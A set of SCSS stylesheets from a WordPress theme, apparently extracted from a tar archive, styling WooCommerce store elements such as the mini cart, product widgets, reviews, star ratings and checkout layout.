.footer-main, .footer-top, .footer-bottom {
    .builder-item {
        &:last-child {
            margin-bottom: 0;
        }
        .widget-area {
            .widget {
                &:last-child {
                    margin-bottom: 0;
                }
            }
        }
    }
    @include for_device( mobile ) {
        .builder-item--footer_copyright,
        .builder-item--footer-social-icons {
            text-align: center;
        }
    }
}

@include for_device( sm ) {
    .site-footer {
        .builder-item {
            margin-bottom: 2em;
        }
    }

}

.site-footer {
    p {
        &:last-child {
            margin-bottom: 0px;
        }
    }
    ul, li {
        list-style: none;
        margin: 0px;
    }

    ul ul {
        margin-left: 2.617924em;
    }
}

.footer-copyright {
    font-size: 0.875em;
}
compatibility/wc/_woocommerce-animation.scss000066600000000173151143724570015374 0ustar00/**
 * _animation.scss
 * Custom WooCommerce Animations.
 */
@keyframes spin {
	100% {
		transform: rotate( 360deg );
	}
}
compatibility/wc/_woocommerce-main.scss000066600000023711151143724570014344 0ustar00/**
 * woocommerce.scss
 * Governs the general look and feel of WooCommerce sections of stores using themes that do not
 * integrate with WooCommerce specifically.
 */


/**
 * Global styles
 */

p.demo_store,
.woocommerce-store-notice {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    margin: 0;
    width: 100%;
    font-size: 1em;
    padding: 1em 0;
    text-align: center;
    background-color: $primary;
    color: $primarytext;
    z-index: 99998;
    box-shadow: 0 1px 1em rgba(0, 0, 0, 0.2);
    display: none;

    a {
        color: $primarytext;
        text-decoration: underline;
    }
}

.screen-reader-text {
    clip: rect(1px, 1px, 1px, 1px);
    height: 1px;
    overflow: hidden;
    position: absolute !important;
    width: 1px;
    word-wrap: normal !important;
}

.admin-bar p.demo_store {
    top: 32px;
}

/**
 * Utility classes
 */
.clear {
    clear: both;
}

/**
 * Main WooCommerce styles
 */

/**
* Quantity input
 */
.input-qty-pm {
    border-radius: 1px;
    display: inline-flex;
    align-items: center;
    flex-wrap: wrap;
    border: 1px solid #E5E5E5;
    background: #f2f2f2;
    color: inherit;
    input, input[type="text"] {
        box-shadow: none !important;
        border-radius: 0px;
        border-top: none;
        border-bottom: none;
    }
    .input-pm-act {
        text-align: center;
        line-height: 2.2em;
        min-height: 2.6em;
        padding: 0px 0.2em;
        min-width: 1.5em;
        cursor: pointer;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
        box-shadow: none;
        font-weight: 400;
        background: #f9f9f9;
        &:hover {
            background: #f0f0f0;
            color: inherit;
        }
    }
}


.woocommerce {
    .blockUI.blockOverlay {
        position: relative;
        z-index: 35 !important;
        @include loader();
    }

    .loader {
        @include loader();
    }

    small.note {
        display: block;
        color: $subtext;
        font-size: 0.857em;
        margin-top: 10px;
    }

    .woocommerce-breadcrumb {
        @include clearfix();
        margin: 0 0 1.5em;
        padding: 0;
        color: $subtext;
        a {
            color: $subtext;
        }
    }

    .quantity .qty {
        width: 3em;
        text-align: center;
    }


    nav.woocommerce-pagination {
        text-align: center;

        ul {
            display: inline-block;
            white-space: nowrap;
            padding: 0;
            clear: both;
            border: 1px solid darken( $secondary, 10% );
            border-right: 0;
            margin: 1px;

            li {
                border-right: 1px solid darken( $secondary, 10% );
                padding: 0;
                margin: 0;
                float: left;
                display: inline;
                overflow: hidden;

                a,
                span {
                    margin: 0;
                    text-decoration: none;
                    padding: 0;
                    line-height: 1;
                    font-size: 1em;
                    font-weight: normal;
                    padding: 0.5em;
                    min-width: 1em;
                    display: block;
                }

                span.current,
                a:hover,
                a:focus {
                    background: $secondary;
                    color: darken( $secondary, 40% );
                }
            }
        }
    }


    p.woocommerce-shipping-contents {
        margin: 0;
    }

}

.woocommerce-no-js {
    form.woocommerce-form-login,
    form.woocommerce-form-coupon {
        display: block !important;
    }
    .woocommerce-form-login-toggle,
    .woocommerce-form-coupon-toggle,
    .showcoupon {
        display: none !important;
    }
}

.woocommerce-message,
.woocommerce-error,
.woocommerce-info {
    padding: 1em 2em 1em 3.5em;
    margin: 0 auto 2em;
    position: relative;
    background-color: lighten($secondary, 5%);
    border-top: 3px solid $primary;
    color: $secondarytext;
    list-style: none outside;
    @include clearfix();
    width: auto;
    word-wrap: break-word;

    &::before {
        font-family: 'WooCommerce';
        content: '\e028';
        display: inline-block;
        position: absolute;
        top: 1em;
        left: 1.5em;
    }

    .button {
        float: right;
    }

    li {
        list-style: none outside !important; // Required for default theme compatibility
        padding-left: 0 !important; // Required for default theme compatibility
        margin-left: 0 !important; // Required for default theme compatibility
    }

}

.woocommerce-message {
    border-top-color: #8fae1b;
    &::before {
        content: '\e015';
        color: #8fae1b;
    }
}

.woocommerce-info {
    border-top-color: #1e85be;
    &::before {
        color: #1e85be;
    }
}

.woocommerce-error {
    border-top-color: #b81c23;
    &::before {
        content: '\e016';
        color: #b81c23;
    }
}




/**
 * Tables
 */
table.shop_attributes {
    border: 0;
    border-top: 1px dotted rgba(0, 0, 0, 0.1);
    margin-bottom: 1.618em;
    width: 100%;

    th {
        width: 150px;
        font-weight: 600;
        padding: 1em;
        border-top: 0;
        border-bottom: 1px dotted rgba(0, 0, 0, 0.1);
        margin: 0;
        line-height: 1.5;
    }

    td {
        font-style: italic;
        padding: 1em;
        border-top: 0;
        border-bottom: 1px dotted rgba(0, 0, 0, 0.1);
        margin: 0;
        line-height: 1.5;

        p {
            margin: 0;
            padding: 0px 0 10px 0px;
            &:last-child {
                padding-bottom: 0;
            }
        }
    }

    //tr:nth-child(even) td,
    //tr:nth-child(even) th {
    //    background: rgba(0, 0, 0, 0.025);
    //}

    tbody tr:nth-child(2n) td {
        background: #fafafa;
    }
}

table.shop_table {
    margin: 0 -1px 24px 0;
    text-align: left;
    width: 100%;
    border-collapse: separate;
    border-collapse: collapse;

    thead {
        tr {
            th {
                border-bottom: 2px solid $color_border;
                color: #252525;
            }
        }
    }

    tfoot {
        tr {
            th {
                color: #252525;
            }
        }
    }

    th {
        font-weight: 600;
        padding: 9px 12px;
        background: transparent;
    }

    td {
        border-top: 1px solid $color_border;
        padding: 10px 10px;
        vertical-align: middle;
        background: transparent;
        small {
            font-weight: normal;
        }
    }

    tr:nth-child(2n) {
        td {
            background: transparent;
        }
    }

    tbody:first-child tr:first-child {
        th,
        td {
            border-top: 0;
        }
    }

    tfoot {

        td,th {
            border-top: 1px solid $color_border;
            vertical-align: middle;
        }
        tr:first-of-type {
            td, th {
                border-width: 2px;
            }
        }
    }
}

table.my_account_orders {
    font-size: 0.85em;

    th,
    td {
        padding: 4px 8px;
        vertical-align: middle;
    }

    .button {
        white-space: nowrap;
    }

    .order-actions {
        text-align: right;

        .button {
            margin: 0.125em 0 0.125em 0.25em;
        }
    }
}

table.woocommerce-MyAccount-downloads {
    td,
    th {
        vertical-align: top;
        text-align: center;

        &:first-child {
            text-align: left;
        }
        &:last-child {
            text-align: left;
        }
        .woocommerce-MyAccount-downloads-file::before {
            content: '\2193';
            display: inline-block;
        }
    }
}

td.product-name {
    dl.variation, .wc-item-meta {
        list-style: none outside;

        dt, .wc-item-meta-label {
            float: left;
            clear: both;
            margin-right: .25em;
            display: inline-block;
            list-style: none outside;
        }

        dd {
            margin: 0;
        }

        p,
        &:last-child {
            margin-bottom: 0;
        }
    }

    p.backorder_notification {
        font-size: 0.83em;
    }
}

td.product-quantity {
    min-width: 80px;
}

/**
 * Right to left styles
 */
.rtl.woocommerce .price_label,
.rtl.woocommerce .price_label span {
    /* rtl:ignore */
    direction: ltr;
    unicode-bidi: embed;
}

/**
 * Account page
 */
.woocommerce-account {
    .woocommerce {
        @include clearfix();
    }

    .addresses .title {
        @include clearfix();

        h3 {
            float: left;
        }

        .edit {
            float: right;
        }
    }

    ol.commentlist.notes li.note {
        p.meta {
            font-weight: 600;
            margin-bottom: 0;
        }

        .description p:last-child {
            margin-bottom: 0;
        }
    }
    ul.digital-downloads {
        margin-left: 0;
        padding-left: 0;

        li {
            list-style: none;
            margin-left: 0;
            padding-left: 0;

            &::before {
                @include iconbefore( '\e00a' );
            }

            .count {
                float: right;
            }
        }
    }
}


.woocommerce-terms-and-conditions {
    border: 1px solid rgba(0,0,0,.2);
    box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
    background: rgba(0,0,0,.05);
}

.woocommerce-invalid {
    #terms {
        outline: 2px solid red;
        outline-offset: 2px;
    }
}

/**
 * Password strength meter
 */
.woocommerce-password-strength {
    text-align: center;
    font-weight: 600;
    padding: 3px 0.5em;
    font-size: 1em;

    &.strong {
        background-color: #c1e1b9;
        border-color: #83c373;
    }

    &.short {
        background-color: #f1adad;
        border-color: #e35b5b;
    }

    &.bad {
        background-color: #fbc5a9;
        border-color: #f78b53;
    }

    &.good {
        background-color: #ffe399;
        border-color: #ffc733;
    }
}

.woocommerce-password-hint {
    margin: 0.5em 0 0;
    display: block;
}


compatibility/wc/_wc-widgets.scss000066600000014472151143724570013164 0ustar00/*
* General WC widgets
 */

.product_list_widget {
    list-style: none outside;
    padding: 0;
    margin: 0;
    .wc-product-name, .quantity {
        display: block;
    }
    .reviewer {
        font-size: 0.72em;
        position: relative;
        top: -4px;
        text-transform: uppercase;
    }
    li {
        margin: 0;
        list-style: none;
        position: relative;
        padding-left: 0px;
        display: block;
        padding-bottom: 12px;
        margin-bottom: 12px !important;
        border-bottom: 1px solid $color_border;
        &:last-child {
            border-bottom: none;
            margin-bottom: 0 !important;
            padding-bottom: 0 !important;
        }
        &.has_thumbnail {
            .widget-product-item {
                display: flex;
                align-items: flex-start;
            }
            .media-info {
                flex-basis: 60px;
            }

            .tex-info {
                flex-basis: calc( 100% - 60px );
                padding-left: 15px;
            }
        }

        a {
            display: block;
            line-height: 1.2;
            text-decoration: none;
            &:hover {
                text-decoration: none;
            }
        }
        .product-title {
            display: block;
        }
        .amount {
            font-size: 0.9em;
            margin-top: 4px;
        }

        img {
            width: 100%;
            height: auto;
            box-shadow: none;
            &:hover {
                opacity: 0.8;
            }
        }

        dl {
            margin: 0;
            padding-left: 1em;
            border-left: 2px solid rgba(0, 0, 0, 0.1);
            @include clearfix();

            dt,
            dd {
                display: inline-block;
                float: left;
                margin-bottom: 1em;
            }

            dt {
                font-weight: 700;
                padding: 0 0 0.25em;
                margin: 0 4px 0 0;
                clear: left;
            }

            dd {
                padding: 0 0 0.25em;

                p:last-child {
                    margin-bottom: 0;
                }
            }
        }

        .star-rating {
            float: none;
            margin: 5px 0px;
        }
        li {
            margin-bottom: 15px;
        }
    }
}

/*
* Widgets Search
 */
.widget_product_search {
    .search-field {
        margin-bottom: 5px;
    }
}
.woocommerce-product-search {
    position: relative;
    .search-field {
        width: 100%;
        display: block;
    }
    button[type="submit"] {
        position: absolute;
        top: 0px;
        right: 0px;
        bottom: 0px;
        padding: 9px 14px;
        margin-left: -46px;
        overflow: hidden;
        box-shadow: none;
        background: transparent;
        color: #aaaaaa;
        line-height: 0px;
        &:hover {
            svg #svg-search {
                fill: #444444;
            }
        }
        svg {
            width: 18px;
            height: 18px;
        }
    }
}


/**
* Layered nav widget
*/
.woocommerce-widget-layered-nav-list {
    margin: 0;
    padding: 0;
    border: 0;
    list-style: none outside;

    .woocommerce-widget-layered-nav-list__item {
        @include clearfix();
        padding: 0 0 1px;
        list-style: none;

        a,
        span {
            padding: 1px 0;
        }
        a {
            &:before {
                @include iconbefore( '\e039' );
                color: #c6c7ce;
                position: relative;
                top: 1px;
            }
        }
    }

    .woocommerce-widget-layered-nav-list__item--chosen a::before {
        @include iconbefore( '\e015' );
        color: #c6c7ce;
    }
}
.woocommerce-widget-layered-nav-dropdown__submit {
    margin-top: 1em;
}

.widget_layered_nav_filters ul {
    margin: 0;
    padding: 0;
    border: 0;
    list-style: none outside;
    overflow: hidden;
    zoom: 1;

    li {
        float: left;
        padding: 0 1em 1px 1px;
        list-style: none;

        a {
            text-decoration: none;

            &::before {
                @include iconbefore( '\e013' );
                color: $red;
                vertical-align: inherit;
                margin-right: .5em;
            }
        }
    }
}

/**
 * Price filter widget
 */
.widget_price_filter {
    .price_slider {
        margin-bottom: 1em;
    }

    .price_slider_amount {
        text-align: right;
        line-height: 2.4;
        font-size: 0.8751em;

        .from, .to {
            font-weight: bolder;
        }

        .button {
            font-size: 0.875em;
            float: left;
            background: $color_meta;
            min-height: auto;
        }
    }

    .ui-slider {
        position: relative;
        text-align: left;
        margin-left: 0.5em;
        margin-right: 0.5em;
    }

    .ui-slider .ui-slider-handle {
        position: absolute;
        z-index: 2;
        width: 1em;
        height: 1em;
        background-color: #FFF;
        border: 2px solid $color_meta;
        border-radius: 1em;
        cursor: ew-resize;
        outline: none;
        top: -0.3em;
        /* rtl:ignore */
        margin-left: -0.5em;
    }

    .ui-slider .ui-slider-range {
        position: absolute;
        z-index: 1;
        font-size: 0.7em;
        display: block;
        border: 0;
        border-radius: 1em;
        background-color: $color_meta;
    }

    .price_slider_wrapper .ui-widget-content {
        border-radius: 1em;
        background-color: $color_border;
        border: 0;
    }

    .ui-slider-horizontal {
        height: 0.5em;
    }

    .ui-slider-horizontal .ui-slider-range {
        top: 0;
        height: 100%;
    }

    .ui-slider-horizontal .ui-slider-range-min {
        left: -1px;
    }

    .ui-slider-horizontal .ui-slider-range-max {
        right: -1px;
    }
}

/**
 * Rating Filter Widget
 */
.widget_rating_filter ul {
    margin: 0;
    padding: 0;
    border: 0;
    list-style: none outside;

    li {
        @include clearfix();
        padding: 0 0 1px;
        list-style: none;

        a {
            padding: 1px 0;
            text-decoration: none;
        }

        .star-rating {
            float: none;
            display: inline-block;
        }
    }

    li.chosen a::before {
        @include iconbefore( '\e013' );
        color: $red;
    }
}compatibility/wc/_wc-elements.scss000066600000003514151143724600013317 0ustar00/*
# Buttons
# Price amount
*/

.button.add_to_cart_button,
.button.alt,
.button.added_to_cart,
.button.checkout,
.button.product_type_grouped,
.button.product_type_external,
.button.product_type_variable {
	background: $color_secondary;
	position: relative;
	cursor: pointer;
	&.added {
		i {
			&::before {
				font-family: "FontAwesome";
				content: "\f00c";
			}
		}
	}
}

.products {
	.button.add_to_cart_button,
	.button.added_to_cart,
	.button.product_type_variable,
	.wc-product-contents .button {
		font-size: 0.8em;
		min-height: auto;
	}
}
.single_add_to_cart_button {
	font-size: 1.04em;
}

/* Remove Button */
a.remove {
	width: 20px;
	height: 20px;
	color: #888888;
	background: rgba(255, 255, 255, 0.5);
	border-radius: 100px;
	font-family: sans-serif !important;
	font-size: 16px !important;
	font-weight: normal;
	line-height: 18px !important;
	display: inline-block;
	text-align: center;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
	opacity: 0.7;
	&:hover {
		color: #333;
		opacity: 1;
		box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
			0 0 0 1px rgba(0, 0, 0, 0.18);
		background-color: rgba(255, 255, 255, 0.99);
	}
}

a.remove2x {
	width: 30px;
	height: 30px;
	color: #888888;
	background: rgba(255, 255, 255, 0.5);
	border-radius: 100px;
	font-family: sans-serif !important;
	font-size: 24px !important;
	font-weight: normal;
	line-height: 26px !important;
	display: inline-block;
	text-align: center;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.16), 0 0 0 1px rgba(0, 0, 0, 0.08);
	opacity: 0.7;
	&:hover {
		color: #333;
		opacity: 1;
		box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.26),
			0 0 0 1px rgba(0, 0, 0, 0.18);
		background-color: rgba(255, 255, 255, 0.99);
	}
}

/* Price */
.price {
	line-height: 1;
}

.site-content,
.cart-dropdown-box {
	span.amount,
	.price {
		font-weight: 500;
		color: #252525;
	}
}
compatibility/wc/_wc-reviews.scss000066600000012553151143724600013172 0ustar00/**
* Reviews
*/
#reviews {
    margin-bottom: 1.41575em;
    .comment-reply-title {
        font-size: 1.4em;
        margin-bottom: 1em;
        line-height: 1.216;
        display: block;
    }
    h2 small {
        float: right;
        font-size: 15px;
        margin: 10px 0 0;
    }

    #comment {
        height: 75px;
    }

    .comment-form {
        margin-bottom: 0px;
    }

    #comments {
        .add_review {
            @include clearfix();
        }

        h2 {
            clear: none;
        }

        ol.commentlist {
            @include clearfix();
            margin: 0;
            width: 100%;
            background: none;
            list-style: none;

            li {
                padding: 0;
                margin: 0 0 20px;
                border: 0;
                position: relative;
                background: 0;
                border: 0;
                width: 100%;

                .meta {
                    color: $subtext;
                    font-size: 0.75em;
                }

                img.avatar {
                    float: left;
                    position: absolute;
                    top: 0;
                    left: 0;
                    width: 50px;
                    height: auto;
                    border: 1px solid $color_border;
                    margin: 0;
                    box-shadow: none;
                }

                .comment-text {
                    margin: 0 0 0 70px;
                    border: 1px solid $color_border;
                    border-radius: 1px;
                    padding: 1em 1em 0;
                    @include clearfix();

                    p {
                        margin: 0 0 1em;
                    }

                    p.meta {
                        font-size: 0.83em;
                        time {
                            text-transform: uppercase;
                            letter-spacing: 0.5px;
                            font-size: 0.8em;
                        }
                    }
                    .star-rating {
                        margin-bottom: 4px;
                    }
                }
            }

            ul.children {
                list-style: none outside;
                margin: 20px 0 0 50px;

                .star-rating {
                    display: none;
                }
            }

            #respond {
                border: 1px solid darken( $secondary, 3% );
                border-radius: 4px;
                padding: 1em 1em 0;
                margin: 20px 0 0 50px;
            }
        }

        .commentlist > li::before {
            content: '';
        }
    }

}

/* Review Form */
#review_form {
    padding: 1.6em 2em 2em;
    border: 2px solid $color_primary;
    .comment-reply-title {

    }
    #respond {
        p {
            margin: 0 0 15px;
            &.form-submit {
                margin-bottom: 0;
            }
        }
        .comment-form-author, .comment-form-email {
            width: 48%;
        }
        .comment-form-author {
            float: left;
            margin-right: 3.8823529412%;
        }
        .comment-form-email {
            float: right;
        }
        .form-submit {
            width: 100%;
        }
        .comment-subscription-form {
            margin-bottom: 0;
        }
        label {
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-size: 0.875em;
        }
    }
}

/**
 * Star ratings
 */
.comment-form-rating a, .star-rating{
    color: $color_secondary;
    &:hover, &:focus {
        color: $color_secondary;
    }
}
.star-rating {
    overflow: hidden;
    position: relative;
    height: 1em;
    line-height: 1;
    font-size: 0.857em;
    width: 5.4em;
    font-family: 'star';

    &::before {
        content: '\73\73\73\73\73';
        color: darken( $secondary, 10% );
        float: left;
        top: 0;
        left: 0;
        position: absolute;
    }

    span {
        overflow: hidden;
        float: left;
        top: 0;
        left: 0;
        position: absolute;
        padding-top: 1.5em;
    }

    span::before {
        content: '\53\53\53\53\53';
        top: 0;
        position: absolute;
        left: 0;
    }
}

.woocommerce-product-rating {
    @include clearfix();
    line-height: 2;
    display: block;

    .star-rating {
        margin: 0.5em 4px 0 0;
        float: left;
    }
}

.products .star-rating {
    display: inline-block;
    float: none;
}

.hreview-aggregate .star-rating {
    margin: 10px 0 0;
}

p.stars {
    a {
        position: relative;
        height: 1em;
        width: 1em;
        text-indent: -999em;
        display: inline-block;
        text-decoration: none;

        &::before {
            display: block;
            position: absolute;
            top: 0;
            left: 0;
            width: 1em;
            height: 1em;
            line-height: 1;
            font-family: 'WooCommerce';
            content: '\e021';
            text-indent: 0;
        }

        &:hover ~ a::before {
            content: '\e021';
        }
    }

    &:hover a::before {
        content: '\e020';
    }

    &.selected {
        a.active {
            &::before {
                content: '\e020';
            }

            ~ a::before {
                content: '\e021';
            }
        }

        a:not( .active )::before {
            content: '\e020';
        }
    }
}

compatibility/wc/_wc-cart.scss000066600000013374151143724600012441 0ustar00// Mini cart
/**
 * Cart sidebar
 */

.widget {
	.woocommerce-mini-cart {
		.mini_cart_item {
			display: flex;
			&__thumb {
				width: 60px;
				flex-basis: 60px;
				img {
					width: 100%;
					display: block;
				}
			}

			&__info {
				flex-basis: calc(100% - 60px);
				width: calc(100% - 60px);
				padding: 0px 25px 0px 1em;
			}
		}
	}

	.cart_list {
		list-style: none outside;
		padding: 0;
		margin: 0;
		.wc-product-name,
		.quantity {
			display: block;
		}
		li {
			margin: 0 0 1em 0;
			list-style: none;
			position: relative;
			a.remove {
				position: absolute;
				right: 0px;
				top: 15px;
			}
			a {
				display: block;
			}
			a:not(.remove) {
				line-height: 1.35;
			}

			img {
				height: auto;
				box-shadow: none;
			}

			dl {
				margin: 0;
				padding-left: 1em;
				border-left: 2px solid rgba(0, 0, 0, 0.1);
				@include clearfix();

				dt,
				dd {
					display: inline-block;
					float: left;
				}

				dt {
					font-weight: 700;
					padding: 0 0 0.25em;
					margin: 0 4px 0 0;
					clear: left;
				}

				dd {
					padding: 0 0 0.25em;

					p:last-child {
						margin-bottom: 0;
					}
				}
			}
			.star-rating {
				float: none;
			}
		}
	}
}

.wc-mini-cart-footer {
	border-top: 1px solid $color_border;
	padding: 1.25em;
}

.widget-area {
	&.sidebar-inner {
		.widget_shopping_cart {
			.cart_list {
				margin-bottom: 1.25em;
			}
			.wc-mini-cart-footer {
				padding: 1.25em 0 0px;
			}
		}
	}

	.widget_shopping_cart {
		.quantity {
			text-transform: uppercase;
			display: block;
			margin-top: 7px;
		}
		.total {
			display: block;
			margin-top: 0px;
			margin-bottom: 1.1em;
			.amount {
				float: right;
				font-size: 110%;
				position: relative;
				top: -2px;
			}
		}
		.cart_list {
			&:after {
				content: none !important;
				display: none !important;
			}
		}

		.buttons {
			a {
				text-align: center;
				display: block;
				margin-bottom: 0.6em;
				font-size: 0.9em;
				min-height: auto;
				&:last-child {
					margin-bottom: 0px;
				}
			}
		}
	}
}

// Header Item: Shopping Cart
.item--wc_cart {
	position: relative;
	.cart-item-link {
		display: flex;
		align-items: center;
		font-weight: 600;
		font-size: 0.85em;
		> span {
			margin: 0 2px;
			&:first-child {
				margin-left: 0px;
			}
			&:last-child {
				margin-right: 0px;
			}
		}
		.tax_label {
			display: none;
		}
	}

	.cart-icon {
		display: inline-block;
		position: relative;
		font-size: 1.3em;
		i {
			width: 1.3em;
			height: 1.3em;
			display: block;
			position: relative;
			top: -1px;
			&:before {
				position: absolute;
				top: 50%;
				left: 50%;
				transform: translate(-50%, -50%);
			}
		}
		.cart-qty {
			position: absolute;
			top: -4px;
			right: 2px;
			left: auto;
			transform: translate(50%, 0%);
			font-size: 11px;
			min-width: 16px;
			min-height: 16px;
			line-height: 16px;
			display: block;
			text-align: center;
			.customify-wc-total-qty {
				color: #ffffff;
				box-shadow: 1px 1px 3px 0px rgba(0, 0, 0, 0.2);
				font-size: 11px;
				min-width: 16px;
				min-height: 16px;
				line-height: 16px;
				border-radius: 20px;
				background: $color_secondary;
				display: block;
				&.hide-qty {
					display: none;
				}
			}
		}
	}
	.cart-dropdown-box {
		position: absolute;
		text-align: left;
		top: 100%;
		right: 0px;
		left: auto;
		z-index: 30;
		min-width: 300px;
		padding: 10px 0 0;
		transition: all 0.3s ease;
		opacity: 0;
		height: 0;
		visibility: hidden;
		display: block;
		color: $color_text;
		transform: translateY(40px);
		.woocommerce-mini-cart {
			max-height: 300px;
			overflow: auto;
			display: block;
			padding: 1.25em;
			li {
				&:last-child {
					margin-bottom: 0;
				}
			}
		}
		.widget {
			border: 1px solid #eaecee;
			background: #ffffff;
			box-shadow: $boxshadow_dropdown;
			position: relative;
			&::before {
				border-top: 1px solid $color_border;
				border-left: 1px solid $color_border;
				background: #fff;
				content: "";
				display: block;
				position: absolute;
				width: 15px;
				height: 15px;
				transform: rotate(45deg);
				z-index: 27;
			}
		}
		// When cart empty
		.woocommerce-mini-cart__empty-message {
			padding: 1.25em;
		}
	}

	&:hover,
	&.cart-active {
		.cart-dropdown-box {
			opacity: 1;
			height: auto;
			overflow: initial;
			visibility: visible;
			display: block;
			transform: translateY(0px);
		}
	}
}

.item--wc_cart {
	&.d-align-right {
		.cart-dropdown-box {
			left: auto;
			right: -8px;
			.widget {
				&:before {
					top: -8px;
					right: 15px;
				}
			}
		}
	}
	&.d-align-left {
		.cart-dropdown-box {
			left: 0px;
			right: auto;
			.widget {
				&:before {
					top: -8px;
					left: 15px;
				}
			}
		}
	}

	@include for_device(mobile) {
		.wc-cart-mobile-hide {
			display: none !important;
		}
		.wc-cart-mobile-show {
			display: inline-block !important;
		}
	}

	@include for_device(tablet) {
		.wc-cart-tablet-hide {
			display: none;
		}
		.wc-cart-tablet-show {
			display: inline-block;
		}
	}

	@include for_device(desktop) {
		.wc-cart-desktop-hide {
			display: none;
		}
		.wc-cart-desktop-show {
			display: inline-block;
		}
	}
}

.header-menu-sidebar-inner {
	.cart-dropdown-box {
		display: none !important;
		visibility: hidden;
		height: 0px;
	}
}

// Hide cart on mobile
.cb-row--mobile {
	.cart-dropdown-box {
		@include for_device(mobile) {
			display: none !important;
		}
	}
}

.site-header {
	.builder-header-wc_cart-item {
		.widget_shopping_cart {
			.widgettitle {
				display: none;
			}
		}
	}
}

compatibility/wc/_woocommerce-fonts.scss000066600000001565151143724600014546 0ustar00/**
 * _fonts.scss
 * Custom WooCommerce fonts.
 */
@font-face {
	font-family: 'star';
	src: url('../../fonts/WooCommerce/star.eot');
	src: url('../../fonts/WooCommerce/star.eot?#iefix') format('embedded-opentype'),
		url('../../fonts/WooCommerce/star.woff') format('woff'),
		url('../../fonts/WooCommerce/star.ttf') format('truetype'),
		url('../../fonts/WooCommerce/star.svg#star') format('svg');
	font-weight: normal;
	font-style: normal;
}

@font-face {
	font-family: 'WooCommerce';
	src: url('../../fonts/WooCommerce/WooCommerce.eot');
	src: url('../../fonts/WooCommerce/WooCommerce.eot?#iefix') format('embedded-opentype'),
		url('../../fonts/WooCommerce/WooCommerce.woff') format('woff'),
		url('../../fonts/WooCommerce/WooCommerce.ttf') format('truetype'),
		url('../../fonts/WooCommerce/WooCommerce.svg#WooCommerce') format('svg');
	font-weight: normal;
	font-style: normal;
}compatibility/wc/_woocommerce-layout.scss000066600000014505151143724600014730 0ustar00/**
 * Applies layout to the default WooCommerce frontend design
 */

.woocommerce-cart, .woocommerce-checkout {
    .entry-header {
        text-align: center;
        .entry-title {
            font-size: 1.9em;
            text-transform: uppercase;
            @include for_device( mobile ) {
                font-size: 1.7em;
            }
        }
        margin: 0em 0 3em;
    }
}

/* Breadcrumb */
.woocommerce-breadcrumb {
    a {
        &:after {
            border-top: 1px solid currentColor;
            border-left: 1px solid currentColor;
            content: "";
            width: 5px;
            height: 5px;
            display: inline-block;
            transform: rotate(135deg);
            left: auto;
            position: relative;
            top: -1px;
            margin: 0px 10px;
        }
    }
}

// Before listing Products
.wc-catalog-header {
    display: flex;
    align-items: center;
    margin-bottom: 0.5em;
}

.wc-svg-btn {
    cursor: pointer;
    padding: 5px 5px 4px 5px;
    border: 1px solid $color_border;
    border-radius: 1px;
    line-height: 1;
    height: 2em;
    display: inline-flex;
    align-items: center;
    margin-right: 10px;
    svg {
        width: 1.2em;
        height: 1.2em;
        display: inline-block;
        fill: currentColor;
    }
    &.active {
        color: $color_primary;
        border-color: $color_primary;
    }
}


.wc-view-switcher, .woocommerce-ordering, .woocommerce-result-count {
    margin-bottom: 0;
    display: flex;
    align-items: center;
}

.wc-view-switcher {
    @include for_device( mobile ) {
        display: none;
    }
}

.woocommerce-ordering {
    margin-right: 0px;
    margin-left: 0px;
    select {
        padding: 0 2em 0 15px;
        border: 1px solid $color_border;
        border-radius: 0px;
        position: relative;
        height: 2.3em;
        font-size: 0.95em;
        @include for_device(mobile) {
            min-width: 150px;
        }
    }
}

// <img src="data:image/svg+xml;utf8;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/Pgo8IS0tIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTkuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgLS0+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAzODYuMjU3IDM4Ni4yNTciIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDM4Ni4yNTcgMzg2LjI1NzsiIHhtbDpzcGFjZT0icHJlc2VydmUiIHdpZHRoPSIxNnB4IiBoZWlnaHQ9IjE2cHgiPgo8cG9seWdvbiBwb2ludHM9IjAsOTYuODc5IDE5My4xMjksMjg5LjM3OSAzODYuMjU3LDk2Ljg3OSAiIGZpbGw9IiMwMDAwMDAiLz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPGc+CjwvZz4KPC9zdmc+Cg==" />

.woocommerce-result-count {
    margin-left: auto;
    margin-right: 1em;
    @include for_device(mobile) {
        display: none;
    }
}

.woocommerce, .woocommerce-page {

    .woocommerce-message,
    .woocommerce-error,
    .woocommerce-info {
        .button {
            float: right;
        }
    }

    /**
     * General layout styles
     */
    .col2-set {
        @include clearfix();
        width: 100%;

        .col-1 {
            float: left;
            width: 48%;
        }
        .col-2 {
            float: right;
            width: 48%;
        }
    }

    img {
        height: auto;
        max-width: 100%;
    }


    /**
     * Cart page
     */
    .woocommerce-cart-form {
        width: 60%;
        float: left;
        @include for_device( tablet ) {
            width: 100%;
            float: none;
        }
    }
    .cart-collaterals {
        width: 35%;
        float: right;
        @include for_device( tablet ) {
            width: 100%;
            float: none;
        }
    }

    table.cart,
    #content table.cart {
        img {
            height: auto;
        }
    }

    /**
   * Checkout Page
   */
    .woocommerce-checkout {
        .col2-set {
            .col-1,  .col-2 {
                float: none;
                width: 100%;
            }
